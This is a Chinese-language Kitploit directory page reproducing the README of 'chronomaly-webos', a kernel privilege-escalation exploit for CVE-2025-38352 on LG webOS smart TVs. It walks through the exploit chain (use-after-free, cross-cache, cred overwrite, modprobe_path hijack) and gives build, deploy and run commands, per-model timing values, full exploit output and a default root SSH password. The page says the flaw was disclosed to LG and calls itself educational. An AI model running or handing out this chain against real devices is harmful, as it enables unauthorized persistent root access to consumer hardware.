Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/analyticeth/chronomaly-webos
嵌入式系统安全权限提升漏洞分析漏洞利用硬件安全学习与教育二进制利用
GitHubanalyticeth/chronomaly-webos

chronomaly-webos

CVE-2025-38352 针对 LG webOS 智能电视(ARM64)的内核漏洞利用程序。在真实消费者硬件上实现持久 root,采用新颖的利用技术。已负责任地向 LG 披露。

查看仓库
102个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Chronomaly — CVE-2025-38352 在 LG webOS 上的利用

针对 CVE-2025-38352(POSIX CPU 定时器竞态条件 / 释放后使用)的内核利用,可在运行内核 5.4.268(ARM64)的 LG webOS 智能电视上获得持久 root 权限。已在 4 种电视型号和多个固件版本上验证。已通过 LG 安全研究员计划(2026 年 2 月)负责任地披露。

基于 farazsth98 的 Chronomaly 构建。第 1 阶段 UAF 竞态逻辑和跨缓存基础设施经移植并适配至 ARM64;第 2–5 阶段采用全新的利用技术和针对真实硬件约束(模拟环境中不存在)的解决方案重新设计。在 Claude Opus 4.6 的协助下开发。

完整的漏洞分析、利用链详解及建议缓解措施请参阅 VULNERABILITY_REPORT.md。

结果

  • 从无特权的 prisoner 用户(uid=5038)获得持久内核 root(uid=0)
  • 已在 5 种 LG 电视型号上验证:OLED65C2PUA、86QNED70AUA、OLED77C5PUA、OLED77G4WUA、OLED65C4PUA
  • 经确认涵盖固件版本 33.22.65 – 33.30.97(内核 5.4.268-320 和 -329)
  • 全自动化,数分钟内完成,通过 Homebrew Channel 提权实现重启后持久化
  • 已向 LG 安全研究员计划报告(2026 年 2 月 7 日)

免责声明

此利用工具是作为负责任的安全研究的一部分开发的,并于 2026 年 2 月 7 日报告给 LG 安全研究员计划。仅以教育目的发布。请负责任使用,仅限用于你拥有的设备。作者不对因使用本软件导致的任何损坏、变砖、数据丢失或保修失效负责。本软件按“原样”提供,不附带任何担保。

新技术

1. 重新设计的写入原语

原始方案中的任意递减操作缓慢且嘈杂:它通过 fork 的进程喷洒 1000 个 struct cred 对象,然后对目标 cred 的 EUID 字段进行 N 次递减。每次递减都是独立操作。这在时序宽松的 QEMU 中可以接受,但在真实硬件上并不可靠,因为中断驱动的页面回收可能会在两次操作之间窃取管道缓冲区页面。

本方案采用通过 list_del_init() 实现的单次任意写入取代了该操作。利用工具通过管道缓冲区覆盖 UAF 的 sigqueue 的 list_head.next 和 list_head.prev 指针。当内核出队待处理信号时(collect_signal() → list_del_init()),它会执行 prev->next = next(将伪造的 cred 地址写入 task_struct->cred)和 next->prev = prev(受控的副作用写入)。一次写入即可将进程的 cred 指针替换为指向包含全零 uid/gid 字段的伪造 cred 结构的指针。无需 cred 喷洒,无需 fork 进程,确定性强。

2. 通过 tee() 实现非破坏性读取 peek_pipe()

原始利用在整个过程中对管道缓冲区使用破坏性 read() 调用。在 QEMU 中这没问题,因为页面不会在操作之间被窃取。在具有 4 个物理核心的真实硬件上,内核的每 CPU 页面列表(pcplist)会积极回收已释放的页面。破坏性读取会释放管道缓冲区的后备页面,该页面可能立即被硬件中断窃取,导致利用工具无法重新分配。

解决方案是使用 tee() 实现非破坏性管道读取原语。tee() 系统调用在两个管道之间复制管道数据而不消耗数据,从而保持原始管道缓冲区的后备页面被固定。这使得利用工具能够重复读取跨缓存管道缓冲区中的内核数据,而无需担心页面丢失。这对真实硬件上的可靠性至关重要。

3. 在第二个跨缓存管道缓冲区中放置伪造的 cred

原始利用喷洒 cred 对象并希望其中一个落在可预测的位置。本版本通过实施第二次跨缓存,在已知地址构造伪造的 cred 结构:分配一个新的 sigqueue(通过 tkill(SIGRTMIN+1)),从第一个管道缓冲区的堆泄漏中得知其地址,然后将该 sigqueue 的 slab 页面跨缓存到第二个管道缓冲区中。伪造的 cred 被写入第二个管道缓冲区中,恰好位于泄漏的 sigqueue 地址的页面偏移处。结果是伪造的 cred 位于确定的内核虚拟地址,无需猜测。

4. 保留 SIGUSR2 以待处理状态作为最终写入触发器

原始利用在第 2 阶段早期出队 SIGUSR2 以泄漏 UAF sigqueue 的地址。这会消耗该信号,因此原始利用需要另一种机制来进行最终写入。本版本从不需要 UAF sigqueue 自身的地址(堆泄漏来自管道缓冲区中相邻的 sigqueue 指针)。SIGUSR2 在所有五个阶段中保持待处理状态,其出队操作被用作最终的任意写入触发器。创建 UAF 的信号正是利用它进行出队的同一信号。

5. modprobe_path + socket(44) 提权

伪造的 cred 结构具有 NULL 的 user_ns、user 和 group_info 指针(因为管道缓冲区在 uid/gid 字段之外被零初始化)。调用 setresuid()、fork() 或 exec() 会解引用这些 NULL 指针并导致内核恐慌。原始利用避免了这个问题,因为它的 cred 喷洒使用的是具有有效指针的真实 cred 对象。

解决方案:将 /proc/sys/kernel/modprobe 覆盖为指向负载脚本(/tmp/pwn),然后通过 socket(44, SOCK_STREAM, 0)(请求一个不存在的协议族)触发 call_usermodehelper。内核使用 init_cred(内核自身的根凭据,完全有效)执行 modprobe 辅助程序,从而绕过损坏的 cred。负载以完整 root 权限运行,可以执行任意操作。

6. 真实硬件时序保护

第 4 阶段的关键窗口(将恶意指针写入管道缓冲区,然后触发信号出队)容易受到硬件中断从每 CPU 页面列表窃取管道缓冲区页面的影响。这在 QEMU 中不会发生。在真实硬件上,此窗口受到以下保护:使用 SCHED_FIFO 优先级(如果可用)和 sched_yield() 让待处理工作在内核进入关键部分之前在 CPU 上完成,再加上预先准备好的缓冲区内容,以最小化写入和触发之间的时间。当 SCHED_FIFO 不可用时(如在 webOS 上,prisoner 用户缺少 CAP_SYS_NICE),利用工具也会优雅地回退。

7. ARM64 task_struct 偏移量逆向工程

任意写入的目标是 task_struct->cred,这需要知道从 task_struct->pending(其地址从管道缓冲区泄漏)到 task_struct->cred 的字节偏移量。此偏移量取决于内核配置。0x80(128 字节)的偏移量是根据 LG webOS 内核源代码手动计算得出的,考虑了 CONFIG_KEYS=y、CONFIG_SYSVIPC=y 以及 ARM64 特定的结构布局和对齐。原始利用中的 x86_64 偏移量因不同的结构打包和配置选项而有所不同。


功能说明

成功时,利用工具:

  1. 通过 UAF → 跨缓存 → 任意写入(cred 覆盖)获得内核 root
  2. 覆盖 /proc/sys/kernel/modprobe 以作为 init 运行提权负载
  3. 负载安装并提权 Homebrew Channel 并移除开发者模式应用
  4. 重启后,Homebrew Channel 在端口 22 上提供持久的 root SSH 访问

快速开始

前置条件

  • 运行内核 5.4.268(ARM64)的 LG webOS 电视
  • 电视上已启用开发者模式(SSH 访问端口 9922)
  • ARM64 交叉编译器(aarch64-linux-gnu-gcc)
  • Homebrew Channel IPK — 从 webosbrew 发布页 下载

安装交叉编译器

root@kitploit:~
# macOS(需要第三方 tap)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

推荐:先安装 Homebrew Channel

在运行利用工具之前,通过开发者模式在电视上安装 Homebrew Channel 应用。这样提权负载只需要提升其权限(快速、可靠),而不需要安装+提权(较慢、可能失败)。你可以使用 ares-install 或开发者管理器应用侧载:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

如果 HBC 未预先安装,利用工具会尝试从 /tmp/hbchannel.ipk 安装它(由 deploy-webos.sh 部署),但这会增加可能失败的额外步骤。

构建、部署、运行

root@kitploit:~
# 1. 设置电视的 IP 和 SSH 密钥
#    电视的 IP 在 设置 > 网络 > Wi-Fi > 高级设置 中
#    SSH 密钥由 LG 开发者模式应用生成 — 查找开发者管理器或 ares-setup-device 下载的密钥(通常名为 webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. 构建并部署(deploy-webos.sh 会自动处理构建)
./deploy-webos.sh

# 3. 连接并运行
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

环境变量

参数调优

利用工具接受命令行参数形式的时序参数:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

如果未提供参数,则使用编译默认值(DELAY=31000,DELTA=50,THRESHOLD=3000)。 如果提供了 DELAY 但未提供 DELTA,则 DELTA 自动计算为 DELAY / 600(四舍五入到最接近的 5)。

已知有效值

为新电视寻找值

观察利用工具输出并调整 DELAY:

root@kitploit:~
Parent raced too late   → 减小 DELAY
Parent raced too early  → 增大 DELAY

当两条消息都出现时,说明时序接近 — 继续运行,利用工具最终应能命中竞态窗口。从编译默认值(31000)开始,然后相应调整。

获取 root 后

  1. 利用工具会等待 /tmp/pwn 完成 — 它经常会超时(这很正常)。如有需要,请检查 /tmp/pwn.log 以手动确认负载已完成。
  2. 重启电视
  3. 重启后,Homebrew Channel 提供端口 22 上的 SSH:
    root@kitploit:~
    ssh root@<TV_IP>
    # 密码:alpine
    

示例输出

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
完整输出(OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

许可证

原始贡献以 MIT 许可发布。源自 farazsth98 的 Chronomaly 的部分不包含在 MIT 授权范围内,因为上游项目在发布时未附带明确许可证。详情请参阅 LICENSE。

参考文献

  • CVE-2025-38352 — 2025 年 9 月 Android 安全公告(已在野外利用)
  • Chronomaly — farazsth98 的原始利用(x86_64/QEMU)
  • 第 1 部分 — 野外 Android 内核漏洞分析 + PoC
  • 第 2 部分 — 无需内核补丁即可扩展竞态窗口
  • 第 3 部分 — 揭开 Chronomaly 的面纱
  • Homebrew Channel
下载工具
变量默认值描述
WEBOS_IP192.168.1.100电视 IP 地址
WEBOS_PORT9922SSH 端口
WEBOS_USERprisonerSSH 用户
WEBOS_KEY$HOME/.ssh/webos_rsaSSH 密钥路径
电视型号OTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000